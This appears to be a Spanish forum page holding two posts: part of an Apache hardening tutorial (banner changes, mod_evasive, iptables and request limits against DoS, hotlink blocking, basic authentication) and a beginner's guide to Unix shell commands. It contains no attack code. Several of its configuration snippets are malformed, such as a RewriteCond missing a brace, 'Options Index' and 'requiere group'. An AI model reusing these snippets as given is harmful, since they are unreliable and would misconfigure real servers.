de manera que quede asi:

static enum server_token_type ap_server_tokens = SrvTk_MIN;


en este mismo fichero cambiamos:

static apr_status_t reset_version(void *dummy)
{
version_locked = 0;
ap_server_tokens = SrvTk_FULL;
server_version = NULL;
return APR_SUCCESS;
}


por esto otro:

static apr_status_t reset_version(void *dummy)
{
version_locked = 0;
ap_server_tokens = SrvTk_MIN;
server_version = NULL;
return APR_SUCCESS;
}



------------------------------------------------------------------

c)para terminar editamos el fichero:

httpd-2.0.40/os/unix/os.h

cambiando la linea:

#ifndef PLATFORM
#define PLATFORM "Unix"
#endif

para que queden asi:

#ifndef PLATFORM
#define PLATFORM "Win32"
#endif

Más:

Como quitar y modificar el banner del servidor Apache por SeSoX
http://www.iespana.es/hollygova/servicios_red/apache/apache_banner.txt


Si en el apache-status está todo el rato "L", o sea "Logging", te está diciendo ni más ni menos, que purges (vacies los logs, pero antes analiarlos con Awstats, WebAlizer, etc), ya deben tener un tamaño consdirable, y al apache le cuesta mucho rato loggear, o ya no tiene espacio.

Si en el apache-status hay muchas conexiones "R", o sea "Reading", significa que las dns de tu dominio están haciendo el tonto (han caído temporalmente, o algo parecido).

Si te atacan el apache (ataques DDoS, DoS, (Denegaciones de Servicio), muchas conexiónes por x tiempo, ataques por fuerza bruta) puedes usar el Mod_dosevasive (ahora llamado mod_evasive).

Follow this section for Apache 1.3.x.

-----command-----
cd /usr/local/src
wget http://www.nuclearelephant.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -zxf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/etc/httpd/bin/apxs -cia mod_evasive.c
-----command-----

 
Follow this section for Apache 2.0.x.
-----command-----
up2date -i httpd-devel
cd /usr/local/src
wget http://www.nuclearelephant.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz
tar -zxf mod_evasive_1.10.1.tar.gz
cd mod_evasive
/usr/sbin/apxs -cia mod_evasive20.c
-----command-----

 <IfModule mod_evasive.c>
DOSHashTableSize 3097
DOSPageCount 5
DOSSiteCount 100
DOSPageInterval 2
DOSSiteInterval 2
DOSBlockingPeriod 600
</IfModule>

Fuente:
http://www.eth0.us/?q=mod_evasive


Comandos Linux:
netstat -anp |grep 'tcp\|udp' | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -n
netstat -ntu | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
netstat -ntu | grep -v TIME_WAIT | awk '{print $5}' | cut -d: -f1 | sort | uniq -c | sort -nr
netstat -an | grep :80 | awk '{print $5}' | cut -f1 -d":" | sort | uniq -c | sort -n

Otro módulo para proteger el apache y que es altamente configurable es el mod_security

http://www.modsecurity.org/projects/modsecurity/apache/
http://www.securityfocus.com/infocus/1739
http://www.modsecurity.org/documentation/converted-snort-rules.html
http://www.onlamp.com/pub/a/apache/2003/11/26/mod_security.html

Revisa también las directivas RLimitCPU y RLimitMEM del Apache para poner límites del Apache de uso de CPU y memoria. Así evitarás DoS.

Limitación de peticiones grandes: Apache tiene varios directorios que permiten que limites el tamaño de una petición. Esto puede también ser útil para atenuar los efectos de un ataque Denial of Service.

Un buen lugar a comenzar es el directorio de ¨LimitRequestBody¨. Este directorio está fijado a ilimitado por defecto. Si estás permitiendo subidas de archivos de no más de 1MB, podrías fijar este ajuste en algo como:

LimitRequestBody 1048576

Algunos otros directorios a mirar son ¨LimitRequestFields¨, ¨LimitRequestFieldSize¨ y ¨LimitRequestLine¨. Estos directorios se fijan a algo razonable para la mayoría de los servidores, pero puedes desear limitarlos para adaptarlos lo mejor posible a tus necesidades.

.- Limitación del tamaño de XML Body: Si estás ejecutando el ¨mod_dav¨, entonces puedes desear limitar el tamaño máximo de un cuerpo de la petición de XML. El directorio de ¨LimitXMLRequestBody¨ está solamente disponible en Apache 2, y su valor prefijado es 1 millón de octetos (aproximadamente 1 Mb). Muchos tutoriales tendrán fijado este valor a 0, lo que significa que los archivos de cualquier tamaño pueden ser subidos; lo que puede ser necesario si estás utilizando WebDAV para subir archivos grandes, pero si lo estás utilizando simplemente para el control del source, puedes fijar un límite superior, tal como 10 Mb:

LimitXMLRequestBody 10485760

¿Quieres saber más para evitar ataques DDoS?

http://foro.elhacker.net/tutoriales_documentacion/intentando_detener_un_ddos-t137442.0.html
http://www.eth0.us/sysctl
http://opensource.srs-consulting.biz/doc/lsc/
http://www.securityfocus.com/infocus/1729
http://www.elhacker.net/opciones-seguridad-linux-proc.html

iptables -I INPUT -p tcp --dport 80 -m connlimit --connlimit-above 10 -j REJECT --reject-with tcp-reset

=====================================================================

6) Protegiendo ancho de banda

La mejor manera para proteger el ancho de banda de tu apache es haciendo que nadie pueda linkarte descargas o imágenes. Las técinas de oculstimos en directorios raros o scripts PHP, no son métodos del todo efectivos.

El único requisito previo es tener activado el módulo rewrite.

Vamsos a ver un ejemplo haciendo un .htaccess en el directorio que queramos proteger y añadiendo:


RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER ^http://yourDomain.dom/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.yourDomain.dom/.*$ [NC] RewriteRule .*.png$ - [L]
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://yourDomain.dom/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://www.yourDomain.dom/.*$ [NC] RewriteRule .*.jpg$ - [L]

RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !
^http://yourDomain.dom/.*$ [NC]
RewriteCond %{HTTP_REFERER} !
^http://www.yourDomain.dom/.*$ [NC] RewriteRule .*.gif$ - [L]


Esto permite que las imagenes png, jpg y gif de ese directorio puedan ser vistas por nosotros, pero no linkadas o vistas desde otros dominios.


Protegiendo que te linkeen (segunda parte)

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http://(www.)?site.com/.*$ [NC]
RewriteRule .(gif|jpg)$ - [F]


RewriteRule .(gif|jpg)$
http://www.site.com/stop.gif [R,L]

Falta cambiar "site.com" y stop.gif with por tus nombres reales. Al intentar ver una imagen desde otro dominio aparece la imagen stop.gif.

¿verdad que es fácil? Modo mod_write activado y expresiones regulares y marchando.  

Hay otras maneras, si tienes un descargas en archivos "zip", puedes proteger estes archivos mediante contraseña. También puedes incluir un readme o un .url dentro del zip.

Otra buena manera de proteger tu ancho de banda (especialmente en las descargas) es utilizando la "Autorización del Apache" que se ve en el punto 8.

Veamos ahora un ejemplo:

Queremos proteger el directorio descargas:

<Directory "/home/pepe/public_html/descargas">
    AuthUserFile /home/pepe/htpasswd
    AuthType Basic
    AuthName "Escribe un nombre de usuario y contraseña"
    require valid-user
</Directory>

De esta manera para descargar cualquier archivo o documento que haya en la carpeta descargas será necesario introducir un nombre de usuario y contraseña válida. De la misma manera si hay una carpeta dentro de descargas (descargas/otrasdescargas) quedará también automáticamente protegida.

Para aprender a crear el htpasswd consulta el punto 8.

Otra manera pasa por subir las descargas a otro lugar y sin borrarlas de tu maquina incluir este sencillo código:

Redirect permanent /descargas http://www.miotraweb.com/descargas

Todas las descargas se bajarán de "miotraweb.com", aunque estén en nuestra máquina.
 
=====================================================================

7) Autorización en Apache

Autorización del Apache basada en host (ip):

<Directory /privado>
order deny,allow
deny from all
allow from ip1
allow from ip2
</Directory>

Autorización del Apache basada en usuario:

Primero crear el usuario con el binario (el binario, el .exe en windows, se encuentra por defecto en la carpeta bin del apache y en linux en /usr/local/apache/bin):

htpasswd -c htuser alex

Te pedirá la contraseña de alex dos veces.

Nos crea el archivo htuser que es donde está la contraseña de alex y tenemos que llamar a ese archivo en el httpd.conf

Ejemplo en Windows:

AuthUserFile  "C:Archivos de programaApache GroupApache2inhtuser"

Ejemplos enn Linux:
#el password está en el achivo htpasswd
AuthUserFile /home/alex/htpasswd
AuthUserFile conf/htuser
AuthGroupFile conf/htgroup

El arhivo htuser debe estar en conf, y sino le dices la ruta :)

Lo mejor es poner este archivo de password fuera del httdocs que tengamos, ya que aunque la contraseña está cifrada, es mejor no jugarsela y que algún listillo nos crackee el pass.

Quedaría así:

<Directory /privado>
AllowOverride None
Options Index
#donde está el fichero con lo passwords
AuthUserFIle conf/htuser
AuthGroupFile conf/htgroup
#nombre del recurso
AuthName "Privado"
#tipo
AuthType Basic
require user alex pepe
requiere group admin
# o bien
require valid-user
</Directory>

=====================================================================

8) Apache con una dirección IP dinámica

 Copy/paste de http://www.escomposlinux.org/lfs-es/recetas/apache-dynamic-ip.html

Como hacer funcionar Apache cuando tienes una dirección IP dinámica, por ejemplo, una conexión PPP.

He investigado como utilizar dominios virtuales en Apache con una
dirección IP dinámica, y estoy tan orgulloso de la solución que he
encontrado, que voy a compartirla contigo :)

** (Nota, esto necesita la última versión de Apache (1.3.12) para
funcionar **

Copia el fichero /usr/local/apache/conf/httpd.conf en
/usr/local/apache/conf/httpd.conf.template y añade esto al final:

(NO cambies "----REPLACE_THIS_WITH_DYNIP----", ya que debe aparecer tal y como está :)

------------ [PARTE DE httpd.conf.template ] ------------

NameVirtualHost ----REPLACE_THIS_WITH_DYNIP----

<VirtualHost ----REPLACE_THIS_WITH_DYNIP---->
   ServerName www.domain1.com
   DocumentRoot &quo
350  Informática / Tutoriales - Documentación / Curso Shell en: 28 Agosto 2002, 15:55 pm
v.01

Bueno pues, son las 22:57 y voy a explicar todo lo que pueda sobre una shell.

Una shell no es más que una sesión en un ordenador remoto (este ordenador usa linux, freeBsd, etc).

Un ejemplo es está shell de Hispashell.com que utiliza FreeBSD.

Con una shell puedes hacer cantidad de cosas que iremos viendo:

Entrando a HispaShell.com

login: milogin
Password:
Last login: Wed Jan 30 21:43:44 from 193.153.57.107

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

HispaShell.com - Shell

Puede ejecutar máx x proceso

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

CONOCE las REGLAS: teclea "reglas" para leerlas

VHOSTS: teclea "vhosts" para verlos

CONTACTOS:

Soporte: soporte@HispaShell.com
Ventas: ventas@HispaShell.com
Información: info@HispaShell.com
ONLINE: /server irc.DAL.net - Canal #HispaShell

* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *

-
-
Editores de texto: ee pico
Cliente de correo: pine
Clientes de IRC: BitchX scrollz irc
Clientes de web: lynx links
Cliente ICQ: centericq
Descargar Programas: fetch lynx ftp
-
Para mas ayuda escribe "man comando"

Para escribir un nombre largo usa el tabulador, es un auto-completador genial

listar directorios

[pepe <~>]$ ls
egg/ mail/ public_html/


te dice el directorio en el que estas

[pepe <~>]$ pwd
/home/ns2

para bajar un directorio

[ns2 <~>]$ cd ..
[ns2 </home>]$

borrar un directorio y ficheros que contenga

[ns2 <~>]$ rm -r egg


crear una carpeta

[ns2 <~>]$ mkdir carpeta

para detener el comando acttual (apretando control + c)

ver la memoria (jeje fijate que hay un 1GB xDDD )

[ns2@<~>]$ free
total used free shared buffers cached
Mem: 1028788 1015552 13236 0 69912 567056
-/+ buffers/cache: 378584 650204
Swap: 570296


Cantidad de disco duro

[ns2 <~>]$ df
bash: /bin/df: Permission denied

jejeje, no tengo permisos

Mostrar por pantalla

[ns2 <~>]$ cat > fichero.txt

Escribir fichero

[ns2 <~>]$ echo a > fichero.txt
Ver unidades montadas

[ns2 <~>]$ mount
/dev/ad0s1a on / (ufs, local)
/dev/ad0s1f on /usr (ufs, local, with quotas)
/dev/ad0s1e on /var (ufs, local)
procfs on /proc (procfs, local)

ver quien hay conectado

[ns2 <~>]$ who
mathyus ttyp0 Jan 30 10:38 (213.96.75.115)
ns2 ttyp1 Jan 30 23:16 (193.153.57.107)
dkt ttyp2 Jan 30 21:36 (213.97.219.85)

hablar con otro user

[ns2 <~>]$ talk user


ver quien eres

[ns2 <~>]$ whoami
ns2

info sobre usuario

[ns2 <~>]$ finger ns2
Login: ns2 Name: elhacker.net
Directory: /home/ns2 Shell: /usr/local/bin/bash
On since Wed Jan 30 23:16 (CET) on ttyp1 (messages off) from 193.153.57.107
No Mail.
No Plan.

ver procesos

[ns2 <~>]$ ps
PID TT STAT TIME COMMAND
85433 p1 S 0:00.01 -bash (bash)
85440 p1 R+ 0:00.00 ps
85103 p3- S 0:01.03 ./eggdrop -m eggdrop.simple.conf (eggdrop-1.4.5)

matar proceso (mato el eggdrop)

[ns2 <~>]$ kill 85103

Si se pone tonto el proceso

[ns2 <~>]$ kill -9 85103

info del servidor

[ns2 <~>]$ uname -a
FreeBSD HispaShell.com 4.5-PRERELEASE FreeBSD 4.5-PRERELEASE #0: Sun Dec 2 03:59:00 MYT 2001 dalok0kat@HispaShell.com:/usr/obj/usr/src/sys/HISPASHELL i386

espacio usado

[ns2 <~>]$ du
2 ./public_html
9019 ./egg
1 ./.BitchX
3 ./mail
9053 .

Para ejecutar programas

[ns2 <~>]$ ./programa opciones

Ejemplo:
[ns2 <~>]$ ./eggdrop -m archivo.conf


Para instalar programas con tu shell

Primero subes tu programa por FTP a tu carpeta home/name

lo descomprimes

[ns2 <~>]$ tar xvzf archivo.tar.gz

se te crea una carpeta nombre archivo

[ns2 <~>]$ cd archivo

lees la documentacion

[ns2 <~>]$ pico INSTALL

configuras el programa

[ns2 <~>]$ ./configure

lo compilas

[ns2 <~>]$ make

haces el make install en tu directorio

[ns2 <~>]$ make install DEST


Common SSH Commands - Linux Shell Commands
http://webhostgear.com/35.html

http://suso.suso.org/docs/infosheets/shell-commands.gif

http://linux.about.com/library/cmd/blcmdl_1d.htm

http://webhostgear.com/35.html
Páginas: 1 ... 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 [35] 36
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines